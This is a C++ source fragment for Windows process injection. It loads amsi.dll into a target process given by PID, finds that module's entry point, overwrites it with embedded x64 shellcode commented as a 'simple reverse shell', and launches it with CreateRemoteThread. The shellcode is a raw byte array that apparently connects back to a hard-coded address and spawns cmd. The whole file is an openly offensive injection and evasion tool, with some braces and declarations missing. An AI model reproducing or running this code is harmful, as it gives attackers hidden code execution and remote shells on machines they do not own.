int main(int argc, char *argv[])
wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
HMODULE modules[256] = {};
SIZE_T modulesSize = sizeof(modules);
DWORD modulesSizeNeeded = 0;
DWORD moduleNameSize = 0;
CHAR remoteModuleName[128] = {};
HMODULE remoteModule = NULL;
// simple reverse shell x64
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// inject a benign DLL into remote process
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
WaitForSingleObject(dllThread, 1000);
// find base address of the injected benign DLL in remote process
EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
modulesCount = modulesSizeNeeded / sizeof(HMODULE);
for (size_t i = 0; i < modulesCount; i++)
remoteModule = modules[i];
GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
if (std::string(remoteModuleName).compare("amsi.dll") == 0)
std::cout << remoteModuleName << " at " << modules[i];
// get DLL's AddressOfEntryPoint
DWORD headerBufferSize = 0x1000;
LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
std::cout << ", entryPoint at " << dllEntryPoint;
// write shellcode to DLL's AddressofEntryPoint
WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
// execute shellcode from inside the benign DLL
CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);